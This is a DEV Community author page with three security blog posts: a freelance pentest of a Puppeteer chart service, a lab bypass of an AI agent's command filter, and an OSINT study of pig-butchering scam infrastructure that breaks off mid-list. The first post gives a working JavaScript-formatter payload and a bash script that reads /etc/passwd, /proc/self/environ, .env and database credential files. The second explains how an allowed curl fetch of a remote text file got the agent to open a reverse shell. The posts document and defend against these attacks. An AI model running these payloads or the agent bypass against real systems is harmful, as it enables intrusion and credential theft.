DEV Community: Marco Altomare

From a Single IP to Exfiltrated Passwords in a PNG: My First Freelance Pentest Engagement

Marco Altomare — Mon, 04 May 2026 13:38:49 +0000

Disclaimer: This article describes a security research activity carried out in a controlled context, with educational goals and the aim of improving security. All references to IPs, domains, paths, file names, and configurations have been anonymized or modified to prevent any form of harm or unauthorized enablement. Nothing below is an invitation to test systems without a written mandate from the owner or legal responsible party.

A real, anonymized case: from PoC to local file reading, ending with a report a CTO can actually use.

My first freelance penetration testing engagement came in a very concrete way: a technical contact asked me to verify a Linux server exposed on the internet, with a custom web application already in production and some collateral services publicly accessible. This was not the classic setting of a large structured program: it was a real system to assess, a tight perimeter, and a simple but demanding request — understand how exposed it really was.

It was immediately clear to me that this was not a theoretical exercise. There was a real infrastructure, a precise objective, and the responsibility to turn technical observations into results that would actually be useful to the people running that system.

In this article I focus on the most interesting part: how a seemingly small surface can lead to a much deeper discovery chain, and why some exploits stand out not only because of their impact, but because of their technical elegance.

For me, this was a real exam. No company badge, no senior colleague to pass doubts to. Just the mandate, the objectives, the tools I use every day, and the responsibility to deliver solid results to a real client.

In this article I explain what I found from a technical perspective and what I learned from a professional one. It is a showcase of how I approach a black-box test, from the first packet to the final report.

The perimeter: one server, many surfaces

The target was a single Linux host with a public IP in the form of XXX.XXX.XXX.XXX and an application domain I will call api.example.com. The environment was not spread across multiple machines or microservices, but concentrated on a single instance with several services listening.

From the reconnaissance phase, the main exposed surfaces were:

Port 80 and 443: a public PHP API based on a custom framework.
Port 3001: a Node.js service that generates chart images from ECharts configurations.
Port 8999: an XHProf interface, a PHP profiler, reachable from the outside without authentication.

The stack consisted of Nginx as reverse proxy, a PHP web application, a Node.js service orchestrating Puppeteer, and a MySQL backend. The main webroot had the classic shared-hosting structure, similar to /data/wwwroot/, with separate directories for the PHP API and the chart-generation service.

Even from this point there were some interesting signals: an exposed profiler, a Node service rendering user input through a headless browser, and a custom PHP framework. These are three ingredients that, if combined poorly, can lead to deep vulnerabilities.

Mapping the attack surface in practice

The first phase was mapping: understanding what responded on each port, which endpoints existed, and what kind of input they accepted.

On the PHP API, the application responded in JSON even for nonexistent routes. The custom framework used a central router that, for unregistered paths, returned a standard message like:

{"code": 99, "msg": "route not exists"}

This made errors less informative, but it was enough to understand that I was not dealing with a mainstream framework like Laravel or Symfony.

The most interesting port was 3001. There lived a Node.js service exposing three main endpoints:

POST /api/generate-chart
GET /api/health
GET /images/:filename

The behavior was clear:

POST /api/generate-chart accepted an ECharts JSON object, passed it to Puppeteer, and returned a PNG.
GET /api/health confirmed the service status with a lightweight response.
GET /images/:filename exposed the generated PNGs, saved on disk in a dedicated directory.

On port 8999, XHProf was exposed. A legitimate tool for profiling PHP applications, but one that is meant for internal environments, not the public internet.

From XHProf I was able to extract valuable information:

internal class names such as MysqlHelper, GlobalVar, FuncHelper.
use of KLogger for application logging.
filesystem directory structure, including paths under the webroot.
internal PHP application route patterns.

In practice, XHProf acted as involuntary technical documentation for the backend.

The chart-generation API: Puppeteer as a pivot

The service on port 3001 took as input an ECharts option object and rendered it through a headless Chromium instance managed by Puppeteer.

The idea is simple and useful: instead of generating charts on the client side in the user’s browser, the application generates them server-side and returns a PNG image that can be embedded anywhere.

At a high level, the flow was:

The client sends a POST /api/generate-chart request with a JSON payload containing the ECharts configuration.
Node.js creates a headless page with Puppeteer.
The page loads ECharts, applies the received options, and renders the chart.
Puppeteer captures a screenshot of the chart area and saves it as a PNG in a local directory.
The API returns the file path and a fileName that can be downloaded through GET /images/:filename.

Functionally, it is a perfect service for automatic report generation. From a security perspective, however, everything depends on what is allowed inside the ECharts code.

And that is where the interesting part begins.

From the ECharts formatter to local file reading

In ECharts configuration, the label.formatter field can accept a JavaScript function, not just a string.

Normally this function is used to customize series labels, adding percentages, symbols, or special formatting. In the context of a headless browser running server-side, with the file:// protocol available, that function becomes a small sandbox escape point.

The core of the vulnerability I found is this:

the service accepts arbitrary JavaScript functions in option.series[].label.formatter
Puppeteer executes them in the page context, without limiting access to the file:// protocol
the JavaScript code can instantiate objects such as XMLHttpRequest and read local files
the text read can be returned by the formatter function and thus rendered inside the chart
all generated content is captured in the PNG and served over HTTP via /images/:filename

This leads to a vulnerability that can be described as file:// SSRF with arbitrary local file reading, combined with path traversal.

The proof of concept I used to confirm the exploit, properly anonymized, looks like this:

curl -s -X POST [http://XXX.XXX.XXX.XXX:3001/api/generate-chart](http://XXX.XXX.XXX.XXX:3001/api/generate-chart) \
  -H "Content-Type: application/json" \
  -d '{
    "option": {
      "title": {"text": "FILE_READ_POC"},
      "series": [{
        "type": "pie",
        "data": [{"value": 1, "name": "leak"}],
        "label": {
          "show": true,
          "formatter": "function(p){ var x=new XMLHttpRequest(); x.open(\\\"GET\\\",\\\"file:///etc/passwd\\\",false); x.send(); return x.responseText.substring(0,500); }"
        }
      }]
    }
  }'

The API response confirms the PNG generation and provides the file name:

{
  "success": true,
  "imagePath": "data/wwwroot/echarts-to-image/images/chart-UUID.png",
  "imageUrl": "images/chart-UUID.png",
  "fileName": "chart-UUID.png"
}

By downloading the PNG with:

curl -s [http://XXX.XXX.XXX.XXX:3001/images/chart-UUID.png](http://XXX.XXX.XXX.XXX:3001/images/chart-UUID.png) -o out.png
strings out.png | head

...it is possible to see the contents of /etc/passwd rendered as text inside the image.

From there, the vulnerability becomes a true arbitrary local file read with the privileges of the Node.js process.

In terms of severity, a combination of file-based SSRF and unauthenticated arbitrary file reading on an exposed service deserves a high classification. The estimated CVSS score was 8.6 High.

Reconstructing the filesystem from scratch

By combining the information obtained from XHProf with file reading via Puppeteer, I was able to reconstruct the filesystem structure in a fairly detailed way.

A simplified representation, with anonymized names, is the following:

/
├── etc/
│   ├── passwd                    # system user enumeration
│   └── environment               # system environment variables
├── proc/
│   ├── self/environ              # Node.js process env
│   └── self/cmdline              # process startup command
├── root/
│   ├── flag.txt                  # CTF flag or sentinel file
│   └── flag                      # variant of the same flag
├── tmp/                          # temporary files, possible sessions
├── var/
│   └── log/
│       └── nginx/                # access.log, error.log
└── data/
    └── wwwroot/
        ├── echarts-to-image/     # vulnerable Node.js service
        │   ├── app.js            # Node.js source code
        │   ├── index.js
        │   ├── package.json
        │   ├── .env              # specific environment variables
        │   └── images/           # PNGs generated and accessible via HTTP
        └── api-php/              # main PHP application
            ├── index.php
            ├── config/
            │   └── database.php  # MySQL credentials
            ├── framework/
            │   ├── core/
            │   │   ├── Route.php
            │   │   ├── BaseApi.php
            │   │   └── GlobalVar.php
            │   └── libs/
            │       ├── MysqlHelper.php
            │       └── FuncHelper.php
            ├── Lists.php
            ├── .env              # PHP application secrets
            └── runtime/          # KLogger application logs

For a black-box test, reaching a map like this from the internet alone means you already have rich material for a high-value report. Not only as a personal challenge, but also as a concrete basis for discussion with the client.

Automating exfiltration: the read script

Once I had proved that reading /etc/passwd was possible, the challenge became organizational. It made no sense to repeat the same request manually for every single file.

I therefore prepared a collection script that, starting from a list of interesting paths, sends the request to the generate-chart endpoint, retrieves the generated PNG, and runs strings to quickly extract any secrets.

A simplified, anonymized version of the script is this:

BASE_URL="http://XXX.XXX.XXX.XXX:3001"
OUT_DIR="/tmp/loot"
mkdir -p "$OUT_DIR"

read_file() {
  local target="$1"
  local label="${target//\//_}"

  fname=$(curl -s -X POST "$BASE_URL/api/generate-chart" \
    -H "Content-Type: application/json" \
    -d "{
      \"option\": {
        \"title\": {\"text\": \"LEAK\", \"fontSize\": 12},
        \"series\": [{
          \"type\": \"pie\",
          \"data\": [{\"value\": 1, \"name\": \"x\"}],
          \"label\": {
            \"show\": true,
            \"formatter\": \"function(p){ var x=new XMLHttpRequest(); x.open('GET','file://$target',false); x.send(); return (x.responseText||'EMPTY_OR_NOT_FOUND').substring(0,800); }\"
          }
        }]
      }
    }" | grep -o '\"fileName\":\"[^\"]*\"' | cut -d'\"' -f4)

  if [[ -n "$fname" ]]; then
    curl -s "$BASE_URL/images/$fname" -o "$OUT_DIR/$label.png"
    echo "[+] $target -> $OUT_DIR/$label.png"
    strings "$OUT_DIR/$label.png" | grep -iE \
      "password|secret|key|token|api|mysql|db_|flag|ctf|\\{[a-zA-Z0-9_]+\\}"
  else
    echo "[!] Nessun PNG generato per $target"
  fi
  sleep 1
}

# Target critici
read_file "/proc/self/environ"
read_file "/data/wwwroot/api-php/config/database.php"
read_file "/data/wwwroot/echarts-to-image/app.js"

# Target ad alta priorità
read_file "/data/wwwroot/echarts-to-image/.env"
read_file "/data/wwwroot/api-php/.env"
read_file "/root/flag.txt"
read_file "/root/flag"
read_file "/flag.txt"
read_file "/flag"

# Possibili nomi alternativi per la flag
for name in secret secret.txt password root.txt token.txt answer.txt hidden.txt; do
  read_file "/root/$name"
  read_file "/$name"
done

# Log e informazioni di sistema
read_file "/var/log/nginx/access.log"
read_file "/etc/passwd"
read_file "/proc/self/cmdline"

echo "Tutti i PNG sono in $OUT_DIR"
echo "Analisi rapida: strings $OUT_DIR/*.png | grep -iE 'flag|pass|key|secret'"

This script has three qualities that, as a freelancer, matter a lot to me:

it is repeatable and documentable
it reduces room for human error
it shows the client clearly that the exploit is real and industrializable

Hunting hard-coded secrets

The files of interest fell into three categories:

system files with informational value, such as /etc/passwd or /proc/self/cmdline
critical application files, such as database.php, .env, app.js
possible flag or sentinel files in /root or at the filesystem root

In particular, some key targets were:

/proc/self/environ: the Node.js process environment, with possible credentials or runtime-injected tokens
/data/wwwroot/api-php/config/database.php: plaintext MySQL credentials, often reused
/data/wwwroot/echarts-to-image/app.js: Node.js service source code, possibly with hard-coded keys
.env for both the Node.js service and the PHP application
various files under /root and /, with standard or slightly oblique names

No particularly severe hard-coded secrets emerged from the PHP and Node.js code, but the combination of readable files and .env files accessible via SSRF still represented a serious risk.

Forensics: what traces the attack leaves

A part that often gets sidelined in pentest writeups is forensics. Here, I wanted to make it explicit because it is essential for the client to understand what remains in the logs after an attack of this kind, and for the professional it is important to leave a clean environment after a penetration test.

The main activities left traces like these:

POST /api/generate-chart and GET /images/... requests ended up in Nginx access.log.
Accesses to the XHProf interface were also present in the HTTP logs.
Path traversal attempts against the images directory generated errors in error.log.
Generated PNGs were physically saved in a dedicated directory, accumulating artifacts on disk.

A hypothetical list of relevant logs, in a similar environment, would be:

/var/log/nginx/access.log           # HTTP requests, including SSRF payloads
/var/log/nginx/error.log            # errors, path traversal, stacktrace
/data/wwwroot/api-php/runtime/      # PHP application logs (KLogger)
/var/log/secure or /var/log/auth.log # SSH access and privilege elevation
/var/log/messages                   # generic system logs
/var/log/wtmp, /var/log/btmp        # login history and failed attempts

A defender who wants to check for abuse of the vulnerability can start with commands like:

# requests to the chart generation endpoint
grep "generate-chart" /var/log/nginx/access.log

# access to the XHProf interface on the dedicated port
grep "8999" /var/log/nginx/access.log

# path traversal attempts in images
grep "images/../" /var/log/nginx/access.log

# IPs with abnormal request volume
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

On my side, in the report I explicitly documented which artifacts the activity left:

PNG files under the image directory of the chart-generation service
lines in Nginx access.log with requests to /api/generate-chart and /images/...
no changes to configurations or files outside the service output directory

This is a point I care about a lot as a freelancer: showing not only what is vulnerable, but also how clean and controlled my activity was.

Health check flood and service recovery

During the tests I also ran into a side issue: a particularly heavy payload had caused the Puppeteer worker to get stuck.

The /api/health endpoint continued to respond, but requests to /api/generate-chart timed out, which suggested that something in the worker was hanging.

In a real environment, this kind of situation can happen with a clumsy attacker or an overly aggressive tester. The practical question becomes: how do you recover the service without direct access to the process?

In this scenario, a controlled health-check flood was enough to force recovery.

The command used was similar to this:

for i in $(seq 1 50); do
  curl -s --max-time 2 [http://XXX.XXX.XXX.XXX:3001/api/health](http://XXX.XXX.XXX.XXX:3001/api/health) &
done
wait

Fifty parallel requests to the health-check endpoint created enough pressure on Node.js’s event loop to force the process to actively handle the backlog.

The observed result was telling:

most /api/health requests succeeded
some timed out due to temporary saturation
after the flood, the chart-generation endpoint started completing requests again

For the defender, this highlights several design issues:

no rate limiting on the health check
no isolation of Puppeteer workers
dependence on a single Node.js process without strong memory-based auto-restart mechanisms

The mitigation I recommended in the report was to use PM2 or an equivalent setup, with max_memory_restart, multiple instances, cluster mode, and a simple rate limiter on /api/health.

Technical recommendations to the client

The core job of a freelance pentester is not to stop at the exploit. It is to translate findings into concrete actions for the client.

The main technical recommendations I proposed were:

drastically limit what the ECharts formatter can execute, avoiding arbitrary input functions
block the file:// protocol in the Puppeteer rendering context, using launch options and code-level controls
make the XHProf interface private or remove it entirely from exposed environments
introduce authentication and authorization on chart-generation APIs to prevent unauthenticated abuse
move .env files and sensitive configurations outside the webroot and protect them at the web server level
use a secrets management system (Vault, Key Vault, and similar) instead of readable files on disk
configure rate limiting and circuit breakers on sensitive endpoints, including health checks

With the client, we also discussed priorities. First, mitigate the vulnerabilities that allow remote reading of configuration files and secrets; then address the “bonus” surfaces like XHProf; and finally work on service resilience, for example with better Puppeteer worker management.

What I learned as a freelance pentester

From a technical point of view, this work allowed me to put several skills into practice:

identifying and exploiting an SSRF + file-read chain in a nonstandard context
using profiling tools exposed to the internet (XHProf) as intelligence sources, not just as curiosities
automating file exfiltration with a script that is robust, maintainable, and extensible
connecting application vulnerabilities to concrete impact on configuration, logs, and operational management

From a professional point of view, I took away a few important lessons.

The first is that careful documentation makes a difference. It is one thing to say “there is an SSRF.” It is another to guide the client through the entire path: from the JSON input, to the generated chart, to the PNG containing the contents of a system file.

The second is that, as a freelancer, you cannot afford to be only “the technical person.” You have to explain what you are doing, why you are doing it, and what the impact is, speaking the language of the people holding budgets and priorities. The report is not a bureaucratic attachment; it is the tool that turns an exploit into a security decision.

The third is that a good pentest does not stop at the single vulnerability. Highlighting aspects like available logs, the traces left behind, and recovery options shows the client that you are thinking about the full incident lifecycle, not just the spectacular part.

For me, this first freelance engagement was a real test of all of that. On the exploit side, I confirmed the ability to read arbitrary files on the server through Puppeteer and ECharts, reconstructed the filesystem in a meaningful way, and identified sensitive files that needed protection. On the professional side, I learned how to turn that analysis into a coherent technical story, usable by the client to make decisions.

Final disclaimer: the techniques described in this article were applied exclusively in an authorized and controlled context, against systems for which there was explicit testing authorization. Never test services or infrastructure without the consent of the owner or legal responsible party.

After documenting this vulnerability, I followed responsible disclosure practices and reported the issue privately to the Apache Software Foundation Security Team.

The ASF Security Team reviewed my report and responded promptly. They directed me to the official ECharts security guidelines, - https://echarts.apache.org/handbook/en/best-practices/security/ - which explicitly state that ECharts treats inputs like label.formatter as trusted code, and that input sanitization is the responsibility of the application developer — not of ECharts itself.

I reviewed the documentation and agree with their assessment. This is not a vulnerability in Apache ECharts. It is an application-level misconfiguration: a developer accepting untrusted user input and passing it directly to ECharts without sanitization, in a server-side rendering context where a headless browser executes it with access to the local filesystem.
The takeaway for developers is clear: if you build a service that accepts ECharts configuration from external users and renders it server-side via Puppeteer or any headless browser, you must treat formatter fields — and all function-type inputs — as untrusted and potentially dangerous. Sanitize, reject, or allowlist them before they ever reach the renderer.
The vulnerability is real. The attack works. The fix is on you.

Analysis, texts, technical reconstructions, scripts, and original materials contained in this article belong to the author, unless otherwise indicated. Citation is allowed with proper attribution. Republishing, adapting, or commercial use requires prior written authorization._

How a Simple HTTP Request Opened the Door to a Reverse Shell: Exposed OpenFang Instances

Marco Altomare — Mon, 04 May 2026 13:28:51 +0000

How an allowed `curl` request became a full reverse shell in an exposed Openclaw instance.

A single HTTP request with curl, pointed at a small HTTP server under my control and a text file containing shell commands, was enough to pivot an exposed OpenFang agent from “safe” behavior to a reverse shell on the host. This article focuses on that chain: how a seemingly harmless fetch slipped through the defenses, how the retrieved text was interpreted as commands, and what this says about agent security in real environments.

This is a lab simulation based on a real class of vulnerabilities. The target, infrastructure details, and payloads were simulated to avoid harming real systems, but the risk pattern is real.

TL;DR of the Exploit Path

In the lab, I:

Found an exposed OpenFang instance simulating a realistic, Internet-facing agent.
Observed that it blocked obviously malicious commands and suspicious chains.
Noticed that curl was allowed as a normal utility.
Hosted a text file with a prepared shell command on a small HTTP server I controlled.
Asked the agent to fetch that file with curl.
Watched the fetched text be interpreted and executed, resulting in a reverse shell in the lab and, from there, privilege escalation.

The key: the system inspected the shape of the initial request, not the effect of the full chain.

Lab Setup

The lab scenario reproduced a realistic situation: an agent instance reachable over the network, discoverable with techniques similar to those used for exposed asset discovery (e.g., Shodan or FOFA). Public test environments, prototypes with weak authentication, agent consoles exposed for convenience, or rushed deployments are all patterns that already exist in many other domains.

The simulated OpenFang instance was built to represent a product that tries to be safer than average. It was not deliberately fragile. It blocked obvious abuse, filtered clearly malicious instructions, and behaved more cautiously than more permissive tools such as Openclaw. That made it a good target for testing non-trivial bypass paths.

Initial Behavior: What OpenFang Blocked

From the first interactions, one thing was clear: OpenFang blocked commands with explicit offensive intent. Direct abuse, obviously suspicious command chains, and instructions with strong signals of maliciousness were filtered. That is a good baseline – on paper.

But an operational agent is not just a text interpreter; it is an orchestrator of actions. Controlling its risk means looking beyond what “looks bad” at first glance and analyzing what looks harmless but becomes dangerous once embedded in a larger sequence.

That is where the lab became interesting.

The Turning Point: From Forbidden Command to Allowed Utility

The turning point was changing the question from:

“Will OpenFang execute this dangerous command?”

to:

“Will OpenFang execute an apparently normal action that can indirectly cause the same effect?”

One of the best candidates for this is curl. In real environments, curl is everywhere: health checks, API calls, bootstrapping, configuration retrieval, artifact downloads, quick tests, troubleshooting, and service-to-service integration. A system that treats curl as always suspicious breaks itself. A system that treats curl as always neutral trusts too much.

In the lab, curl was allowed. It was not treated as inherently malicious. That immediately suggested a path: if OpenFang blocks a payload when it sees it directly, but accepts a request to fetch remote text, maybe the problem is not the payload. Maybe the problem is the gap between trust decision and effect.

Building the HTTP “Trampoline”

The bypass hinged on one simple idea: move the dangerous part away from the place where controls are strongest.

Instead of presenting the agent with an obviously suspicious command, the flow:

Presented a perfectly normal HTTP fetch.
Hid the actual shell command inside a remote text file served by an HTTP server I controlled in the lab.

The agent saw a retrieval request. It did not see the final intent encoded in the file until after the main checks had already passed.

In abstract terms, the chain looked like this:

Prepare a minimal HTTP server in the lab (e.g., a small Ubuntu Server VM).
Publish a text file that contained a single shell command tailored to the simulated environment.
Ask OpenFang to run curl against that URL to “retrieve a configuration/script snippet.”
Let the agent fetch the file from the lab server.
Have the fetched text interpreted as a command in the agent’s execution context.
Use that command to open a remote shell back to the lab.
From there, within the simulation, escalate to higher privileges.

The important point is not that “a shell was obtained,” but that it arrived at the end of a sequence whose early steps looked legitimate and routine.

Why the Fetch Worked

The remote fetch worked because the system trusted the medium more than the consequences.

curl was treated as a safe helper, not as a potential execution vector.
The control logic focused on the local syntax of the initial request, not on the semantics of the full chain.

Once a tool like curl is allowed without additional safeguards, it becomes a bridge between retrieval and execution. Controls end up saying “this door looks normal,” without asking what crosses the threshold or what happens next. Many modern incidents do not start with a door that looks dangerous. They start with a door that looks too familiar to monitor closely.

Operational Chain and Logging Blind Spots

To keep this writeup responsible, I am not publishing a copy‑pasteable payload or full operational details. What matters is the type of chain observed.

The agent accepted a remote fetch request.
The content fetched was later interpreted, not just stored.
That interpretation triggered a session on the machine hosting OpenFang.
From there, given the simulated configuration, privilege escalation was possible.

So the progression was not:

malicious input → immediate execution → compromise

but rather:

neutral-looking request → remote content → reinterpretation → compromise

For blue teams and architects, this highlights a logging problem: many systems capture the first step well, but rarely reconstruct the meaning of the full chain. If monitoring stops at the single event, you risk classifying a behavior as “banal” when it is already building a foothold.

Risk Indicators for Agent Runtimes

From this lab, several clear risk indicators emerged for agentic runtimes:

Excessive trust in “normal” system utilities like curl or wget.
No inspection of content retrieved from remote sources before it is used.
Missing strict allowlists for destinations that the agent can reach.
Weak separation between retrieval capabilities and execution capabilities.
Partial monitoring that logs the first step but not the downstream effects.
Agents running with broader privileges than necessary for their tasks.
Difficulty evaluating not just the single input, but the composition of multiple allowed actions.

These indicators are not unique to OpenFang. They form a checklist that can be applied to many operational agents and, more broadly, to autonomous or semi‑autonomous systems with access to shell, network, or orchestration tools.

Tools and Knowledge Used

The lab itself required a fairly classic toolbox, applied to a modern agentic context:

Shodan / FOFA: modeling realistic exposure and discovering comparable public instances.
Linux userland tools: studying how the agent handled allowed utilities such as curl.
Minimal HTTP server: serving controlled remote content in the lab.
Agent behavior analysis: observing blocks, exceptions, and allowed paths.
Threat modeling: identifying trust boundaries and where risk can recombine.
Hardening mindset: evaluating privileges, isolation, allowlists, and logging.

On the knowledge side, this scenario sits at the intersection of AI security, prompt injection, trust boundary analysis, command execution, abuse of legitimate utilities, and basic post‑exploitation. But at the core, the problem is simple: trusting the shape of a request instead of the behavior of the chain.

What a Serious Defense Should Do

A mature defense for operational agents cannot stop at blocking commands that “look bad.” It has to think in terms of capabilities, context, and consequences. An action should be evaluated not only for what it is, but for what it enables next.

In practice, a minimum hardening set should include:

Strict allowlists for external destinations the agent can contact.
Sandboxing or blocking of remote fetches that are not strictly necessary.
Content inspection of downloaded material before it is ever executed or parsed.
Strong separation between retrieval, parsing, and execution paths.
Least privilege and runtime isolation for the agent.
Comprehensive logging of intermediate steps, not just entry points.
Policies that examine the execution chain, not just the initial command line.
Continuous validation of controls with short, repeatable simulations, not only static policy reviews.

This is one of the big differences between traditional application security and agent security. In a classic app, you often defend a single function. In an agent, you have to defend a combinatorial capability.

Why This Will Matter More Over Time

As more agents gain access to real environments, these issues will leave the research world and become operational incidents. DevOps, technical support, infrastructure automation, internal orchestration, helpdesk, monitoring, deployment, and operational analysis are all domains where an agent with system tools can add value. But precisely there, incomplete controls become risk amplifiers.

The most useful tests are not the ones that show a totally open system is vulnerable – that is obvious. The interesting tests are the ones that show how an apparently cautious system can still fail when it misjudges a sequence of legitimate actions. That is the kind of subtle failure mode we are likely to see more often.

Final Thoughts

This lab left me with a clear takeaway: agentic systems should be judged by the paths they allow, not only by the commands they ban. The difference between “secure” and “bypassable” is often not a spectacular exploit, but a trusted utility, a fetch assumed to be harmless, and a security decision made one step too early.

In the OpenFang lab, what interested me was not a flashy trick but the fact that a more cautious system than many others could still be led off course by a simple, coherent, and believable chain based on curl and a text file. For anyone working in purple teaming, AI security, or hardening autonomous runtimes, this is a concrete reminder: real security starts when we stop reasoning only in terms of blacklists and begin reasoning in terms of behavioral chains.

If you work on AI security, agent orchestration, purple teaming, or autonomous‑environment hardening, this is a topic worth studying now, not later.

The contents of this article, including but not limited to: texts and analysis, the kill chain reconstructions, OSINT analyses and correlation methodologies; technical contributions, the Python scripts, the Elasticsearch (ES|QL) queries and the Shodan search strategies; graphic elaborations, comparison tables of tools and structural diagrams; are the exclusive intellectual property of the author, Marco Altomare, except where otherwise specified or where trademarks belong to their respective owners.

Any reproduction, distribution, modification, publication, or commercial use of the material, even in part or in summary form, without the prior written consent of the author, is strictly prohibited.

Citation or sharing for research or informational purposes is permitted only on the condition that the original attribution is maintained and a direct link to the source is included. Any abuse or unauthorized use that violates copyright will be prosecuted under the law._

How I Mapped an International Pig Butchering Network Using Public Tools

Marco Altomare — Mon, 04 May 2026 13:11:14 +0000

A real-world case study in passive threat intelligence and open-source investigation.

Disclaimer: This research was conducted exclusively for educational purposes and passive threat intelligence. No systems were breached, no credentials were used without authorization, and no sensitive identifying data is reported in this article. All information collected comes from publicly accessible sources: Shodan, public paste sites, blockchain explorers, and OSINT forums. Sensitive details such as IPs, domains, wallets, emails, and specific nationalities have been redacted. This activity falls within the legal scope of passive cybersecurity research, with no active interaction with the identified systems. Some parts of the article are redacted for safety.

Introduction

While working on threat intelligence research, I came across one of the most underestimated phenomena in the landscape of cryptocurrency fraud: the pig butchering scam. The name comes from the Chinese 杀猪盘 (shā zhū pán), literally “pig slaughter plate,” and the concept is as brutal as it is effective. The victim is “raised” for weeks or months through daily conversations on messaging apps, with relationships carefully engineered and patiently built, until the person is convinced to invest on fake crypto exchanges.

When the funds reach a critical threshold, they disappear.

What struck me while working on this was not only the level of social engineering involved, which is sophisticated in itself. It was the technical infrastructure underneath it: scalable systems, well organized, with a criminal supply chain that runs from scam-kit production to resale to local “franchisees.” Structured criminal organizations sell the kit to other groups or to individual operators, who then target ordinary people interested in investing in crypto but not sufficiently familiar with how blockchains and exchanges work.

It is a business model, complete with R&D, a B2B market, and post-sale support for the “operators.” I decided to understand how it works from the technical side.

Starting Point: Shodan

Shodan is a search engine for internet-connected devices. It is not an offensive tool by itself; in fact, it is widely used in blue team and threat intelligence for passive fingerprinting of exposed infrastructure. I started by refining a query to find servers hosting fake crypto exchanges, focusing on a set of recurring indicators: weak SSL certificates, characteristic HTTP banners, exposed ports, and geographic attributes consistent with the known origin of these kits.

Base query:

"crypto" "exchange" port:443 ssl.cert.subject.cn:*exchange*

From there, I iterated by adding progressive filters. In HTTP banners I looked for keywords such as “deposit,” “withdraw,” and “VIP tier,” which are almost invariably present in fake exchange interfaces to simulate the structure of a legitimate platform. I searched for servers with certificate CNs that cloned well-known exchanges through typosquatting, for example by substituting visually similar characters. I checked for the absence of rate limiting on critical endpoints such as /api/login and /api/transfer, a sign of poor implementation. I observed a recurring technology stack made up of Nginx with default configurations, PHP 7.x, and outdated crypto-related libraries.

The results returned hundreds of hosts, many with very low uptime, which is consistent with disposable infrastructure designed to be replaced quickly after each campaign. What stood out, however, was the strong homogeneity in architectural patterns across seemingly independent hosts. Same stack, same endpoint structures, same naming conventions. A clear signal: these were not separate actors who happened to have the same idea, but operators using the same kit, distributed and resold.

OSINT Correlation and Certificate Analysis

At that point, I selected a sample of IPs and conducted manual correlation, cross-checking Shodan data with other publicly available sources.

On the SSL certificate side, many hosts shared the same issuer, a little-known CA with certificates valid for 30 to 90 days. The absence of Let’s Encrypt or enterprise CAs is a meaningful indicator: whoever runs this infrastructure minimizes costs and rotates certificates frequently to avoid revocation and make long-term tracking harder.

On the ASN side, the IPs belonged to providers with neutral commercial names, often registered in jurisdictions with low KYC verification for hosting. A significant portion was already present in public blocklists such as AbuseIPDB and Spamhaus, which suggested reuse of infrastructure already known to reputation systems, probably because rotation times are still faster than blocklist cycles.

The most interesting part emerged while analyzing API endpoints. Several servers exposed /api/admin, /api/users, and /api/wallet completely open, or protected with default credentials such as admin:admin. These endpoints revealed data structures that confirmed the nature of the platform: internal wallets, transaction IDs, and VIP tiers artificially built to simulate the progression typical of a legitimate exchange and convince the victim that they were on a trustworthy platform.

Through OSINT queries on public repositories and paste sites, using keyword patterns tied to the exchange names I had identified, I found victim emails that had attempted to regain access after the funds vanished. Some of these emails were associated with traceable Ethereum wallets on-chain, which made it possible to partially follow the flow of stolen funds.

The most significant discovery from a supply-chain perspective was finding, on public forums, the sale of complete packages: registered domain, preconfigured exchange script, message templates for the social engineering phase, instructions on how to handle the victim during the “raising” period, and guidance on how to stall in response to withdrawal requests. The buyers of these kits were located in geographic regions different from Asia, confirming that the supply chain is genuinely transnational: production happens in one place, distribution and operational use elsewhere.

Exposed Elasticsearch: A Window into the Infrastructure

During the investigation I found something unexpected. Several servers belonging to the same criminal infrastructure exposed Elasticsearch instances without authentication, reachable directly over HTTP on port 9200.

I identified them by starting from the IPs already known from the Shodan phase and running a second targeted query:

product:elastic port:9200

Shodan was already indexing these nodes with complete metadata: cluster name, shard count, active indices, and Elasticsearch version in use. No active access was needed; everything was already passively leaked by the search engine, which by design indexes what is publicly exposed on the internet.

The index structure visible through Shodan spoke for itself. The field names were explicit: user_email, deposit_amount, vip_tier, withdrawal_blocked, wallet_address. The naming confirmed the identity of the kit used by the fake exchanges already identified, and the consistency across hosts further strengthened the hypothesis of a single origin.

To manage the volume of collected data more efficiently, I imported everything into a local Elasticsearch instance, building a repeatable and documentable analysis environment. I used ES|QL queries to isolate hosts with high-risk banner patterns, aggregate indicators by ASN, and correlate certificates, wallets, and IOCs in a single structured index. This turned a raw collection of heterogeneous data into actionable threat intelligence, searchable and updateable over time.

To automate the collection and parsing of Shodan data, I built a Python script, shared here in anonymized form without real credentials, purely to illustrate the method:

import requests
import json

API_KEY = "YOUR_SHODAN_API_KEY"
QUERY = "crypto exchange port:443 ssl.cert.subject.cn:*exchange*"

def fetch_shodan_results(query, api_key):
    url = "https://api.shodan.io/shodan/host/search"
    params = {"key": api_key, "query": query}
    response = requests.get(url, params=params)
    return response.json()

def parse_host(host):
    return {
        "ip": host.get("ip_str"),
        "country": host.get("location", {}).get("country_name"),
        "org": host.get("org"),
        "banner": host.get("data", "")[:200],
        "ports": host.get("port"),
        "ssl_cn": host.get("ssl", {}).get("cert", {}).get("subject", {}).get("CN", "N/A")
    }

results = fetch_shodan_results(QUERY, API_KEY)

for match in results.get("matches", []):
    parsed = parse_host(match)
    if any(kw in parsed["banner"].lower() for kw in ["deposit", "withdraw", "vip", "exchange"]):
        print(json.dumps(parsed, indent=2))

The banner filter reduces noise significantly, focusing the analysis on hosts with strong indicators rather than on the full perimeter returned by the raw query.

The Pig Butchering Kill Chain

Reconstructing the full chain, the operational structure of a pig butchering scam breaks into six distinct phases, each with clearly defined roles and technical tools.

In the first phase, kit deployment, the operator buys or develops an exchange clone. The stack is standardized, hosting is offshore, the domain is registered with privacy protection, and it typically has less than 90 days of age. The technical investment is minimal and the infrastructure is designed to be abandoned quickly.

In the second phase, the supporting infrastructure is assembled: servers in ASN ranges with low KYC verification, SSL certificates with short validity, and CDNs to mask the real traffic origin. The goal is to maximize short-term operational resilience, not longevity.

The third phase is social engineering, and here the technical kit gives way to the human component. Contact with the victim typically happens via WhatsApp, Telegram, or dating apps, with a profile carefully constructed in advance. The relationship is cultivated over weeks, with daily conversations, the sharing of believable personal details, and progressive mentions of crypto investments with extraordinary returns.

In the fourth phase, the victim is onboarded onto the platform. The first withdrawals work normally: this is the most important part for building trust. The victim experiences a real gain, becomes convinced of the platform’s legitimacy, and starts increasing the investment.

